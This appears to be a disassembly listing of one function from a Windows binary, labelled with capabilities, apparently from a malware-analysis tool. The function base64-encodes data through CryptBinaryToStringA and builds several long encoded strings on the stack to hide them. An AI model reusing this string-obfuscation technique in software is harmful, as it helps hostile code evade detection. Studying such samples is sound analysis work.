Function at 0x10010389
Capabilities:
Contain obfuscated stackstrings
Encode data using base64 via winapi

Disassembly:
push 0x2c4
mov eax, 0x1004616a
call fcn.1002e5e6
mov dword [ebp - 0x2ac], edx
mov eax, ecx
mov dword [ebp - 0xb8], eax
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x18]
push ecx
push 0
push 0x40000001
push dword [edx]
push eax
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov ecx, ebx
test eax, eax
jne 0x100103d3
call fcn.1001917f
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10010f20
mov esi, dword [ebp - 0x18]
push esi
call fcn.100191b4
push esi
mov ecx, ebx
mov edi, eax
call fcn.10019e16
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x2ac]
push edi
push 0x40000001
push dword [eax]
push dword [ebp - 0xb8]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x10010414
push ecx
mov ecx, ebx
call fcn.100191ec
mov ecx, ebx
jmp 0x100103c3
push dword [ebp - 0x18]
mov ecx, ebx
call fcn.10019e16
push dword [0x1008316c]
xor esi, esi
mov dword [ebp - 0xb4], 0x48493152
push esi
sub esp, 0xc
mov dword [ebp - 0xb0], 0x38557a59
mov ecx, esp
mov dword [ebp - 0xac], 0x35514359
lea eax, [ebp - 0x1d]
mov dword [ebp - 0xa8], 0x6e414347
lea edx, [ebp - 0xb4]
mov dword [ebp - 0xa4], 0x62346948
push ecx
push eax
push edx
mov dword [ebp - 0xa0], 0x63344244
mov dword [ebp - 0x9c], 0x456b444a
mov dword [ebp - 0x98], 0x7a307848
mov dword [ebp - 0x94], 0x77776d66
mov dword [ebp - 0x90], 0x70386e42
mov dword [ebp - 0x8c], 0x6e4d424f
mov dword [ebp - 0x88], 0x4267444f
mov dword [ebp - 0x84], 0x32387942
mov dword [ebp - 0x80], 0x315a6948
mov dword [ebp - 0x7c], 0x466f5366
mov dword [ebp - 0x78], 0x536b674d
mov dword [ebp - 0x74], 0x44384462
mov dword [ebp - 0x70], 0x3277674c
mov dword [ebp - 0x6c], 0x7249694f
mov dword [ebp - 0x68], 0x6a736a46
mov dword [ebp - 0x64], 0x54415741
mov dword [ebp - 0x60], 0x4c676762
mov dword [ebp - 0x5c], 0x6735674f
mov dword [ebp - 0x58], 0x6b496e4a
mov dword [ebp - 0x54], 0x2b525344
mov dword [ebp - 0x50], 0x2b515365
mov dword [ebp - 0x4c], 0x43674441
mov dword [ebp - 0x48], 0x58516e63
mov dword [ebp - 0x44], 0x6f493342
mov dword [ebp - 0x40], 0x6c315846
mov dword [ebp - 0x3c], 0x6441424c
mov dword [ebp - 0x38], 0x45346a59
mov dword [ebp - 0x34], 0x73394759
mov dword [ebp - 0x30], 0x4477424b
mov dword [ebp - 0x2c], 0x4a494245
mov dword [ebp - 0x28], 0x574d694a
mov dword [ebp - 0x24], 0x41414144
mov word [ebp - 0x20], 0x4741
mov byte [ebp - 0x1e], 0x73
call fcn.1001986e
lea ecx, [ebp - 0x2a8]
call fcn.10010fb3
add esp, 0xc
mov ecx, eax
mov dword [ebp - 4], esi
call fcn.10019968
push eax
mov ecx, ebx
call fcn.10018ee5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2a8]
call fcn.1001994c
mov dword [ebp - 0x174], 0x55733262
mov dword [ebp - 0x170], 0x6c347862
mov dword [ebp - 0x16c], 0x73465146
mov dword [ebp - 0x168], 0x6a4d7a63
mov dword [ebp - 0x164], 0x34494142
mov dword [ebp - 0x160], 0x2b34684f
mov dword [ebp - 0x15c], 0x786b5863
mov dword [ebp - 0x158], 0x39554445
mov dword [ebp - 0x154], 0x764a5249
mov dword [ebp - 0x150], 0x7a457a5a
mov dword [ebp - 0x14c], 0x5a6b6a48
mov dword [ebp - 0x148], 0x2f556a49
mov dword [ebp - 0x144], 0x5334514d
mov dword [ebp - 0x140], 0x564d5149
mov dword [ebp - 0x13c], 0x4f736e4a
push esi
sub esp, 0xc
mov dword [ebp - 0x138], 0x79387a44
mov ecx, esp
mov dword [ebp - 0x134], 0x53776964
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x130], 0x69704166
lea edx, [ebp - 0x174]
mov dword [ebp - 0x12c], 0x70427766
push ecx
push eax
push edx
mov dword [ebp - 0x128], 0x6e52535a
mov dword [ebp - 0x124], 0x586f4450
mov dword [ebp - 0x120], 0x4e51544c
mov dword [ebp - 0x11c], 0x794d5246
mov dword [ebp - 0x118], 0x7a4d444a
mov dword [ebp - 0x114], 0x694d7763
mov dword [ebp - 0x110], 0x67644347
mov dword [ebp - 0x10c], 0x4867334c
mov dword [ebp - 0x108], 0x41516a65
mov dword [ebp - 0x104], 0x5030674a
mov dword [ebp - 0x100], 0x66496a4a
mov dword [ebp - 0xfc], 0x5638414d
mov dword [ebp - 0xf8], 0x59304141
mov dword [ebp - 0xf4], 0x6f564159
mov dword [ebp - 0xf0], 0x4c6b7947
mov dword [ebp - 0xec], 0x35394145
mov dword [ebp - 0xe8], 0x78634266
mov dword [ebp - 0xe4], 0x6873514d
mov dword [ebp - 0xe0], 0x3841674f
mov dword [ebp - 0xdc], 0x734d524a
mov dword [ebp - 0xd8], 0x79494466
mov dword [ebp - 0xd4], 0x654d784d
mov dword [ebp - 0xd0], 0x36705448
mov dword [ebp - 0xcc], 0x5063415a
mov dword [ebp - 0xc8], 0x70596841
mov dword [ebp - 0xc4], 0x416f7944
mov dword [ebp - 0xc0], 0x44434141
mov dword [ebp - 0x94], 0x79307764
mov dword [ebp - 0x90], 0x3134545a
mov dword [ebp - 0x8c], 0x31425248
mov dword [ebp - 0x88], 0x52456865
mov dword [ebp - 0x84], 0x4a736e50
mov dword [ebp - 0x80], 0x2f34684c
mov dword [ebp - 0x7c], 0x52735464
mov dword [ebp - 0x78], 0x4d30544f
mov dword [ebp - 0x74], 0x6f6b4344
mov dword [ebp - 0x70], 0x69315861
mov dword [ebp - 0x6c], 0x506f6949
mov dword [ebp - 0x68], 0x6c4d6d47
mov dword [ebp - 0x64], 0x6263435a
mov dword [ebp - 0x60], 0x50634844
mov dword [ebp - 0x5c], 0x6b6b3344
mov dword [ebp - 0x58], 0x686c4349
mov dword [ebp - 0x54], 0x4c73694e
mov dword [ebp - 0x50], 0x734e5265
mov dword [ebp - 0x4c], 0x2f457865
mov dword [ebp - 0x48], 0x45386745
mov dword [ebp - 0x44], 0x6a787865
mov dword [ebp - 0x40], 0x6338514f
mov dword [ebp - 0x3c], 0x73736e41
mov dword [ebp - 0x38], 0x7a307950
mov dword [ebp - 0x34], 0x2b565246
mov dword [ebp - 0x30], 0x2b6f7845
mov dword [ebp - 0x2c], 0x4359484a
mov dword [ebp - 0x28], 0x41415148
mov word [ebp - 0x24], 0x4641
mov byte [ebp - 0x22], 0x45
call fcn.1001986e
lea ecx, [ebp - 0x2b8]
call fcn.10010fb3
add esp, 0xc
mov ecx, eax
mov dword [ebp - 4], 1
call fcn.10019968
push eax
push esi
lea edx, [ebp - 0x94]
lea eax, [ebp - 0x21]
sub esp, 0xc
mov ecx, esp
push ecx
push eax
push edx
call fcn.1001986e
lea ecx, [ebp - 0x2a8]
call fcn.10010fb3
add esp, 0xc
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.10019968
push eax
mov ecx, ebx
call fcn.10018ee5
lea ecx, [ebp - 0x2a8]
call fcn.1001994c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2b8]
call fcn.1001994c
mov dword [ebp - 0x174], 0x576f3262
mov dword [ebp - 0x170], 0x57635146
mov dword [ebp - 0x16c], 0x55494143
mov dword [ebp - 0x168], 0x37556a50
mov dword [ebp - 0x164], 0x3952484b
mov dword [ebp - 0x160], 0x39345466
mov dword [ebp - 0x15c], 0x67524341
mov dword [ebp - 0x158], 0x62557a49
mov dword [ebp - 0x154], 0x74644359
mov dword [ebp - 0x150], 0x6c424348
mov dword [ebp - 0x14c], 0x7a30444a
mov dword [ebp - 0x148], 0x7549415a
mov dword [ebp - 0x144], 0x52734442
mov dword [ebp - 0x140], 0x4f304848
mov dword [ebp - 0x13c], 0x6b6b4847
mov dword [ebp - 0x138], 0x47635449
mov dword [ebp - 0x134], 0x73635845
mov dword [ebp - 0x130], 0x58414147
mov dword [ebp - 0x12c], 0x685a544a
mov dword [ebp - 0x128], 0x4a45775a
mov dword [ebp - 0x124], 0x65734247
mov dword [ebp - 0x120], 0x49595749
mov dword [ebp - 0x11c], 0x416b684a
mov dword [ebp - 0x118], 0x48736965
mov dword [ebp - 0x114], 0x34394166
mov dword [ebp - 0x110], 0x66555342
mov dword [ebp - 0x10c], 0x6d637943
mov dword [ebp - 0x108], 0x77677963
mov dword [ebp - 0x104], 0x7042784e
mov dword [ebp - 0x100], 0x594d6749
mov dword [ebp - 0xfc], 0x2f595250
mov dword [ebp - 0xf8], 0x4a6f6a44
mov dword [ebp - 0xf4], 0x5a4d4748
mov dword [ebp - 0xf0], 0x4c496963
mov dword [ebp - 0xec], 0x37567a4c
mov dword [ebp - 0xe8], 0x4555544d
mov dword [ebp - 0xe4], 0x316b774c
mov dword [ebp - 0xe0], 0x58347944
mov dword [ebp - 0xdc], 0x64416e43
mov dword [ebp - 0xd8], 0x65637747
mov dword [ebp - 0xd4], 0x5463514b
mov dword [ebp - 0xd0], 0x63456942
mov dword [ebp - 0xcc], 0x314e7947
mov dword [ebp - 0xc8], 0x41417741
mov word [ebp - 0xc4], 0x4841
mov byte [ebp - 0xc2], 0x38
mov dword [ebp - 0x74], 0x5638575a
mov dword [ebp - 0x70], 0x6f49444d
mov dword [ebp - 0x6c], 0x76493250
mov dword [ebp - 0x68], 0x305a6943
mov dword [ebp - 0x64], 0x68634242
mov dword [ebp - 0x60], 0x784d674a
mov dword [ebp - 0x5c], 0x3552534f
mov dword [ebp - 0x58], 0x394d444c
mov dword [ebp - 0x54], 0x4e676841
mov dword [ebp - 0x50], 0x5745674f
mov dword [ebp - 0x4c], 0x6f385342
mov dword [ebp - 0x48], 0x45557a41
mov dword [ebp - 0x44], 0x75306a47
mov dword [ebp - 0x40], 0x53497847
push esi
sub esp, 0xc
mov dword [ebp - 0x3c], 0x3973444f
mov ecx, esp
mov dword [ebp - 0x38], 0x5845524d
lea eax, [ebp - 0xc1]
mov dword [ebp - 0x34], 0x38636e43
lea edx, [ebp - 0x174]
mov dword [ebp - 0x30], 0x7a38434d
push ecx
push eax
push edx
mov dword [ebp - 0x2c], 0x5841444e
mov dword [ebp - 0x28], 0x4141515a
mov word [ebp - 0x24], 0x4441
mov byte [ebp - 0x22], 0x6b
call fcn.1001986e
lea ecx, [ebp - 0x2a8]
call fcn.10010fb3
add esp, 0xc
mov ecx, eax
mov dword [ebp - 4], 3
call fcn.10019968
push eax
push esi
sub esp, 0xc
lea eax, [ebp - 0x21]
mov ecx, esp
lea edx, [ebp - 0x74]
push ecx
push eax
push edx
call fcn.1001986e
lea ecx, [ebp - 0x2b8]
call fcn.10010fb3
add esp, 0xc
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.10019968
push eax
mov ecx, ebx
call fcn.10018ee5
lea ecx, [ebp - 0x2b8]
call fcn.1001994c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2a8]
call fcn.1001994c
mov dword [ebp - 0x29c], 0x536f3262
mov dword [ebp - 0x298], 0x46736a4c
mov dword [ebp - 0x294], 0x72455159
mov dword [ebp - 0x290], 0x79347742
mov dword [ebp - 0x28c], 0x6e6b6742
mov dword [ebp - 0x288], 0x58494141
mov dword [ebp - 0x284], 0x786b5364
mov dword [ebp - 0x280], 0x6d386a44
mov dword [ebp - 0x27c], 0x72425443
mov dword [ebp - 0x278], 0x4559775a
mov dword [ebp - 0x274], 0x41346945
mov dword [ebp - 0x270], 0x30785248
mov dword [ebp - 0x26c], 0x70417842
mov dword [ebp - 0x268], 0x74636748
mov dword [ebp - 0x264], 0x366b334c
mov dword [ebp - 0x260], 0x596b674d
mov dword [ebp - 0x25c], 0x35704345
mov dword [ebp - 0x258], 0x34514144
mov dword [ebp - 0x254], 0x4e776d4c
mov dword [ebp - 0x250], 0x6a746e50
mov dword [ebp - 0x24c], 0x57737942
mov dword [ebp - 0x248], 0x68456a41
mov dword [ebp - 0x244], 0x4163784a
mov dword [ebp - 0x240], 0x6967794d
mov dword [ebp - 0x23c], 0x4c456742
mov dword [ebp - 0x238], 0x5159524b
mov dword [ebp - 0x234], 0x37344247
mov dword [ebp - 0x230], 0x6c39424f
mov dword [ebp - 0x22c], 0x776b7744
mov dword [ebp - 0x228], 0x70316a46
mov dword [ebp - 0x224], 0x32734441
mov dword [ebp - 0x220], 0x6563774a
push esi
sub esp, 0xc
mov dword [ebp - 0x21c], 0x52346a65
mov ecx, esp
mov dword [ebp - 0x218], 0x35426848
lea eax, [ebp - 0x1e5]
mov dword [ebp - 0x214], 0x35565241
lea edx, [ebp - 0x29c]
mov dword [ebp - 0x210], 0x30497942
push ecx
push eax
push edx
mov dword [ebp - 0x20c], 0x616b5242
mov dword [ebp - 0x208], 0x6c456a49
mov dword [ebp - 0x204], 0x3777474f
mov dword [ebp - 0x200], 0x526f7a4b
mov dword [ebp - 0x1fc], 0x47344245
mov dword [ebp - 0x1f8], 0x5041574d
mov dword [ebp - 0x1f4], 0x39454150
mov dword [ebp - 0x1f0], 0x736f7748
mov dword [ebp - 0x1ec], 0x4141414a
mov word [ebp - 0x1e8], 0x4941
mov byte [ebp - 0x1e6], 0x49
mov dword [ebp - 0x1e4], 0x6c385459
mov dword [ebp - 0x1e0], 0x6c454349
mov dword [ebp - 0x1dc], 0x7651694d
mov dword [ebp - 0x1d8], 0x59496e43
mov dword [ebp - 0x1d4], 0x45384849
mov dword [ebp - 0x1d0], 0x7a55534b
mov dword [ebp - 0x1cc], 0x59307a45
mov dword [ebp - 0x1c8], 0x33596e4d
mov dword [ebp - 0x1c4], 0x56554844
mov dword [ebp - 0x1c0], 0x546b545a
mov dword [ebp - 0x1bc], 0x36635246
mov dword [ebp - 0x1b8], 0x61594159
mov dword [ebp - 0x1b4], 0x52633262
mov dword [ebp - 0x1b0], 0x6b41334f
mov dword [ebp - 0x1ac], 0x6a6f4441
mov dword [ebp - 0x1a8], 0x50384449
mov dword [ebp - 0x1a4], 0x4841684c
mov dword [ebp - 0x1a0], 0x4e51514f
mov dword [ebp - 0x19c], 0x72785747
mov dword [ebp - 0x198], 0x6a4a7a47
mov dword [ebp - 0x194], 0x616f5446
mov dword [ebp - 0x190], 0x39734247
mov dword [ebp - 0x18c], 0x7a305242
mov dword [ebp - 0x188], 0x7841794c
mov dword [ebp - 0x184], 0x31705249
mov dword [ebp - 0x180], 0x4159784c
mov dword [ebp - 0x17c], 0x4d424141
call fcn.1001986e
lea ecx, [ebp - 0x2d0]
call fcn.10010fb3
add esp, 0xc
mov ecx, eax
mov dword [ebp - 4], 5
call fcn.10019968
push eax
push esi
sub esp, 0xc
lea eax, [ebp - 0x178]
mov ecx, esp
lea edx, [ebp - 0x1e4]
push ecx
push eax
push edx
call fcn.1001986e
lea ecx, [ebp - 0x2c4]
call fcn.10010fb3
add esp, 0xc
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.10019968
push eax
mov ecx, ebx
call fcn.10018ee5
lea ecx, [ebp - 0x2c4]
call fcn.1001994c
lea ecx, [ebp - 0x2d0]
call fcn.1001994c
xor eax, eax
call fcn.1002e595
ret